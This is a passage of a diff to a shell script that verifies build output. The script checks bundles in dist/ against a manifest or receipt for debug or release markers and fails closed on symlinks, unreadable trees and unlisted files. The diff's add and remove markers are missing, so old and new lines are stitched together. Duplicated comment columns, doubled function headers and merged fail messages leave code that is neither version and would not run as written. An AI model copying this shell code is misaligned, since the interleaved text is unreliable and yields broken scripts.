# - the walk is NUL-delimited and the paths reach the check as arguments, so # - the walk is NUL-delimited and the paths reach the check as arguments, so
# no name can be reshaped on the way in. Read line by line, a name with a # no name can be reshaped on the way in. Read line by line, a name with a
# trailing space lost it to read's field splitting and the remnant then # trailing space lost it to read's field splitting and the remnant then
# matched a listed path, and a name containing a newline arrived as a # matched a manifest line, and a name containing a newline arrived as a
# listed path plus an empty one. Both left an unchecked file in dist/ while # listed path plus an empty one. Both left a marker-carrying, unlisted file
# the script still reported success. # unchecked while the script still reported success. Delivering such a name
# intact is only half of it; is_listed also has to keep it out of grep's
# pattern, for the same reason.
# - find's exit status is checked. A subtree it cannot descend is reported on # - find's exit status is checked. A subtree it cannot descend is reported on
# stderr and then simply missing from the listing, so an unchecked status # stderr and then simply missing from the listing, so an unchecked status
# turns "could not look" into "nothing was there" — the same conflation # turns "could not look" into "nothing was there" — the same conflation
# has_marker exists to prevent. The status cannot be read off a pipeline, # has_marker exists to prevent. The status cannot be read off a pipeline,
# so the listing lands in a file that xargs then reads back. # so the listing lands in a file that xargs then reads back.
# - symlinks are walked too (-type l), not skipped. The build emits none, so # - symlinks are walked too (-type l), not skipped. A marker-carrying bundle
# a symlink under dist/ is a path the build did not produce, whatever it # reachable under an unlisted path in dist/ is a stale manifest whether the
# points at, and it fails as one instead of being read through. # path is a link or a file, and grep reads through the link. A link that
# cannot be read through — dangling, or pointing at a directory — fails
# hard via has_marker's exit-2 path, which is the fail-closed answer: the
# build emits neither, so their DEBUG state is unproven, not fine.
# - dist/ itself must be a directory and not a symlink, which main asserts # - dist/ itself must be a directory and not a symlink, which main asserts
# before anything reads through it. find does not follow a symlink named on # before anything reads through it. find does not follow a symlink named on
# its own command line, so a linked dist/ collapses this walk to one entry # its own command line, so a linked dist/ collapses this walk to one entry
@@ -394,7 +181,7 @@ check_receipt_entries() {
# #
# Types other than regular files and symlinks are left out on purpose: a build # Types other than regular files and symlinks are left out on purpose: a build
# emits none of them, and grep on a fifo would hang rather than fail. # emits none of them, and grep on a fifo would hang rather than fail.
check_dist_tree() { check_unlisted_bundles() {
LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" || LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" ||
fail "could not create a temporary file for the dist/ listing, so the fail "could not create a temporary file for the dist/ listing, so the
tree was never walked. Refusing to report success." tree was never walked. Refusing to report success."
@@ -404,196 +191,105 @@ check_dist_tree() {
[ "$_find_status" -eq 0 ] || [ "$_find_status" -eq 0 ] ||
fail "find exited $_find_status enumerating dist/, so part of the tree fail "find exited $_find_status enumerating dist/, so part of the tree
was never walked and nothing was established about the files in it. Any was never walked and nothing was established about the files in it. Any
file the build did not emit could be sitting there unchecked. That is a unlisted bundle there went unchecked. That is a permissions or I/O fault on
permissions or I/O fault on the artifact. Refusing to report success." the artifact, not a stale manifest. Refusing to report success."
_scan_status=0 _scan_status=0
xargs -0 "$SELF" "$SCAN_FLAG" "$RECEIPT" <"$LISTING" || _scan_status=$? xargs -0 "$SELF" "$SCAN_FLAG" <"$LISTING" || _scan_status=$?
[ "$_scan_status" -eq 0 ] || [ "$_scan_status" -eq 0 ] ||
fail "the dist/ tree scan exited $_scan_status: either a path under fail "the unlisted-bundle scan exited $_scan_status: either a path
dist/ failed the check reported above, or the scan could not be run at all. under dist/ failed the check reported above, or the scan could not be run
Refusing to report success." at all. Refusing to report success."
} }
# Does the receipt name the path $1? Compared as whole strings, never through # The per-path half of check_unlisted_bundles. It runs in a re-invocation of
# grep: a path found under dist/ is attacker-shaped input, and a pattern is not # this script, so it uses the same is_listed and has_marker as the rest of the
# the place to put one. The receipt's own paths are known to carry no # file rather than a second copy of them that could drift. Paths arrive as
# whitespace by the time this runs — verify_receipt failed the run otherwise — # arguments and are never split, joined or trimmed.
# so stripping the three leading fields recovers each one exactly.
receipt_names() {
_rn_want="$1"
_rn_line=""
while IFS= read -r _rn_line || [ -n "$_rn_line" ]; do
case "$_rn_line" in
"file "*) ;;
*) continue ;;
esac
[ "${_rn_line#file * * }" != "$_rn_want" ] || return 0
done <"$RECEIPT"
return 1
}
# The per-path half of check_dist_tree. It runs in a re-invocation of this
# script, so it uses the same helpers as the rest of the file rather than a
# second copy of them that could drift. Paths arrive as arguments and are never
# split, joined or trimmed.
scan_dist_paths() { scan_dist_paths() {
for _file in "$@"; do for _file in "$@"; do
if [ -h "$_file" ]; then if is_listed "$_file"; then
fail "$_file is a symlink under dist/. The build emits regular
files only, so this path is not something it produced, and what it points
at is not what was verified. Refusing to report success."
fi
if receipt_names "$_file"; then
continue continue
fi fi
fail "$_file is under dist/ but the build that just ran did not emit if has_marker "$MARKER_ON" "$_file" ||
it. dist/ must contain exactly what the build produced: an extra file there has_marker "$MARKER_OFF" "$_file"; then
is an artifact nothing vouches for, and shipping the directory ships it." fail "$_file carries a debug marker but is absent from $MANIFEST,
so the manifest no longer describes the emitted bundles."
fi
done done
} }
# --- arguments -------------------------------------------------------------- # The requested mode, read from our own environment using build.js's exact
# rule: only the literal 1 opts in. Deliberately not taken from anything
# The expected mode and the receipt are stated by the caller. Nothing is read # build.js records about itself, so build.js cannot vouch for build.js.
# from the environment, and there is no default for either. expected_marker() {
parse_args() { if [ "${AUTISTMASK_DEBUG-}" = "1" ]; then
while [ "$#" -gt 0 ]; do echo "$MARKER_ON"
case "$1" in else
--expect) echo "$MARKER_OFF"
[ "$#" -ge 2 ] || fail "--expect needs an argument (release|debug)." fi
set_expect "$2"
shift 2
;;
--expect=*)
set_expect "${1#--expect=}"
shift
;;
--receipt)
[ "$#" -ge 2 ] || fail "--receipt needs a path."
set_receipt "$2"
shift 2
;;
--receipt=*)
set_receipt "${1#--receipt=}"
shift
;;
*)
usage
fail "unknown argument: $1"
;;
esac
done
} }
set_expect() {
[ -z "$EXPECT" ] || fail "--expect given more than once."
case "$1" in
release) EXPECT="$MARKER_OFF" ;;
debug) EXPECT="$MARKER_ON" ;;
*) fail "--expect takes release or debug, not \"$1\"." ;;
esac
}
set_receipt() {
[ -z "$RECEIPT" ] || fail "--receipt given more than once."
[ -n "$1" ] || fail "--receipt was given an empty path."
# Resolved against the caller's directory, before main cd's to the repo
# root.
case "$1" in
/*) RECEIPT="$1" ;;
*) RECEIPT="$PWD/$1" ;;
esac
}
# --- main -------------------------------------------------------------------
main() { main() {
# Internal re-entry from check_dist_tree's xargs. Not part of the cd "$ROOT"
# Internal re-entry from check_unlisted_bundles' xargs. Not part of the
# command-line interface: nothing else invokes it, and it is a distinct # command-line interface: nothing else invokes it, and it is a distinct
# entry point rather than a mode flag threaded through the checks below. # entry point rather than a mode flag threaded through the checks below.
if [ "${1-}" = "$SCAN_FLAG" ]; then if [ "${1-}" = "$SCAN_FLAG" ]; then
shift shift
[ "$#" -ge 1 ] || fail "internal: $SCAN_FLAG needs the receipt path."
RECEIPT="$1"
shift
cd "$ROOT"
[ -r "$RECEIPT" ] ||
fail "$RECEIPT became unreadable during the run, so the dist/ tree
could not be checked against it. Refusing to report success."
scan_dist_paths "$@" scan_dist_paths "$@"
return 0 return 0
fi fi
parse_args "$@" expected="$(expected_marker)"
echo "Verifying emitted bundles (expecting $expected)..."
[ -n "$EXPECT" ] || {
usage
fail "no --expect argument. The mode this build was supposed to produce
has to be stated by whoever ran the build; it is not a default and it is
not read from AUTISTMASK_DEBUG in this script's environment, because an
operator with that exported would then have their debug build verified as
the release one they asked for."
}
[ -n "$RECEIPT" ] || {
usage
fail "no --receipt argument. The list of files to check comes from the
build that just ran, not from dist/: without it, a hand-written dist/ would
be verifying itself. make build and make build-debug pass one."
}
pick_sha256
cd "$ROOT"
# Asserted here rather than left to grep. A symlinked dist/ used to fail # Asserted here rather than left to grep. A symlinked dist/ used to fail
# only because GNU grep exits 2 on a directory, so the tree walk hit # only because GNU grep exits 2 on a directory, so check_unlisted_bundles'
# has_marker's I/O path by luck; under a grep that exits 1 instead, the # single entry hit has_marker's I/O path by luck; under a grep that exits 1
# whole cross-check would have collapsed into a pass. # instead, the whole cross-check would have collapsed into a pass.
if [ -h dist ]; then if [ -h dist ]; then
fail "dist is a symlink, not a directory. find does not follow a fail "dist is a symlink, not a directory. find does not follow a
symlink named on its own command line, so the tree walk would see one entry symlink named on its own command line, so the unlisted-bundle cross-check
instead of the emitted tree and establish nothing about it. Refusing to would see one entry instead of the emitted tree and establish nothing about
report success." it. Refusing to report success."
fi fi
[ -d dist ] || [ -d dist ] ||
fail "dist is not a directory, so there is no emitted tree to verify. fail "dist is not a directory, so there is no emitted tree to verify.
build.js writes it; run make build first." build.js writes it; run make build first."
case "$RECEIPT" in [ -f "$MANIFEST" ] ||
"$ROOT/dist" | "$ROOT/dist/"*) fail "$MANIFEST is missing. build.js writes it at the end of a
fail "the receipt is inside dist/ ($RECEIPT). A receipt that lives in successful build; run make build first."
the tree it describes is rewritten by whoever rewrites the tree, and vouches [ -s "$MANIFEST" ] ||
for nothing. make build keeps it outside the repo." fail "$MANIFEST is empty, so no emitted bundle was found to contain
;; src/shared/constants.js. That is never correct, so it is a failure and not
esac a pass."
[ -r "$MANIFEST" ] ||
[ -e "$RECEIPT" ] || fail "$MANIFEST is not readable, so nothing was inspected. That is a
fail "$RECEIPT is missing. build.js writes it at the end of a
successful build; run make build rather than invoking this directly."
[ -f "$RECEIPT" ] ||
fail "$RECEIPT is not a regular file, so it is not a build receipt."
[ -s "$RECEIPT" ] ||
fail "$RECEIPT is empty, so the build wrote nothing to it and there is
no account of what it emitted. build.js writes the receipt last, so an
empty one means the build did not finish."
[ -r "$RECEIPT" ] ||
fail "$RECEIPT is not readable, so nothing was inspected. That is a
permissions or I/O fault, not a pass." permissions or I/O fault, not a pass."
echo "Verifying emitted files against the build receipt (expecting" \ count=0
"$EXPECT)..." while read -r file; do
[ -n "$file" ] || continue
[ -f "$file" ] ||
fail "$MANIFEST lists $file, which does not exist."
[ -s "$file" ] ||
fail "$MANIFEST lists $file, which is empty. An empty bundle
carries no marker and proves nothing, so this is a failure and not a pass."
read_marker "$file"
[ "$MARKER" = "$expected" ] ||
fail "$file is $MARKER but this build expects $expected."
echo " ok: $file ($MARKER)"
count=$((count + 1))
done <"$MANIFEST"
# Order matters. The receipt has to be well-formed before it is used as an [ "$count" -gt 0 ] || fail "no bundles were inspected."
# expectation, and the tree has to be walkable in full before any single
# file in it is pronounced on: a subtree that cannot be descended makes
# every file under it look absent, and "could not look" must never be
# reported as "was not there".
check_receipt_shape
check_dist_tree
check_receipt_entries
echo "verify-build: $COUNT emitted file(s) verified against the receipt," \ check_unlisted_bundles
"$AUDITED bundle(s) $EXPECT"
echo "verify-build: $count bundle(s) verified $expected"
} }
main "$@" main "$@"